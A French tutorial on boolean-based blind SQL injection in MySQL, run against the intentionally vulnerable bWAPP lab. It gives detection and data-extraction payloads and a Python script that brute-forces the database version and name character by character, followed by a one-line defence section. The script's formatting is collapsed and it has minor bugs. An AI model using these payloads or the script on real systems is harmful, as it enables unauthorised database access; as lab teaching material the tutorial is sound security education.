Injection SQL en aveugle basé sur du booléen (MYSQL)
1.Presentation
Les injections sql en aveugle se base sur le faite de ne pas avoir accès directement au résultat de la base de donnée. Le resultat d'une condition nous affichera sois une réponse soit un autre. Le principe des injections sql en aveugle basé sur le booleen est de soumettre une condition qui sera vrai quand le resultat sera juste.
2.Exploitation
L'exploitation se fera sur l'outil BWAPP (plateforme dédié pour les tests web)
Pour la détecter :
Nous avons un champs où nous devons tapper le nom d'un film pour savoir si il existe dans la base de donnée.
Testons pour voir si il y a une injection :
Iron Man ' AND 1=1#
⇒ renvoie “The movie exists in our database!”
Iron Man ' AND 1=2#
⇒ renvoie “The movie does not exist in our database!”
Mainteant on va trouver la version de la BDD :
Iron Man ' AND substring(version(),1,1)=4#
⇒ renvoie “The movie does not exist in our database!”
Il ne reste plus qu'a tester tous les nombres jusqu'à obtenir “The movie exists”.
Il faut ensuite trouver la longueur du nom de la BDD
Iron Man ' AND length(database())=5#
⇒ renvoie “The movie exists in our database!”
La BDD fais donc 5 caractères
Il faut ensuite trouver le nom de la BDD
Iron Man ' AND substring(database(),1,1)="b" Iron Man ' AND substring(database(),2,1)="w" Iron Man ' AND substring(database(),3,1)="a" Iron Man ' AND substring(database(),4,1)="p" Iron Man ' AND substring(database(),5,1)="p"
⇒ renvoie pour chaque requete “The movie exists in our database!”
Notre base de donnée se nomme : bwapp
Attention sur un substring mysql a=A , pour pallier à ce problème utiliser la table ASCII .
Exemple : a ⇒ char(97) A ⇒ char(65)
Exemple de script en python :
import requests cookie={'PHPSESSID':'3305ef024b2562284aeb8e9447b0e795','security_level' :'0'} url="http://127.0.0.1/bwapp/bWAPP/sqli_4.php?title=Iron+Man+'AND+" faux="The movie does not exist" vrai="The movie exists" def requete_url (payload) : urlcomplete=url+payload r = requests.get(urlcomplete,cookies=cookie) if vrai in r.text: solution=decode_url(payload) # print "true : "+solution find=1 else : find=0 return find def encode_url(payload): payload = payload.replace(' ','+') payload = payload.replace(',','%2C') payload = payload.replace('=','%3D') payload = payload.replace('#','%23') return payload def decode_url(payload): payload = payload.replace('+ ',' ') payload = payload.replace('%2C',',') payload = payload.replace('%3D','=') payload = payload.replace('%23','#') return payload def exploit(payload,message): payload=encode_url(payload) continuer=requete_url(payload) if continuer==1: print "message : "+message trouver=1 else : trouver=0 return trouver #Trouver la version de la bdd version=0 while version <= 10 : trouver=exploit("substring(version(),1,1)="+str(version)+"#","Le numero de la version est : "+str(version)) version+=1 if trouver==1: break #Trouver la longueur du nom de la BDD longueur=0 while longueur <= 10 : trouver=exploit("length(database())="+str(longueur)+"#","Longueur de la BDD trouvee "+str(longueur)) longueur+=1 if trouver==1: break #Trouver le nom de la BDD alphabet=['a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z'] longueur-=1 nom_bdd="" compt=1 while compt <= longueur: for lettre in alphabet : trouver=exploit("substring(database(),"+str(compt)+",1)=\""+lettre+"\"#","Lettre trouvee : "+lettre) if trouver==1: nom_bdd+=lettre print "Le nom de la bdd est "+nom_bdd compt+=1 break
3.Comment se protéger
Comme pour toutes les injections sql il faut bien penser à parser le code et à utiliser des préparateurs de requetes.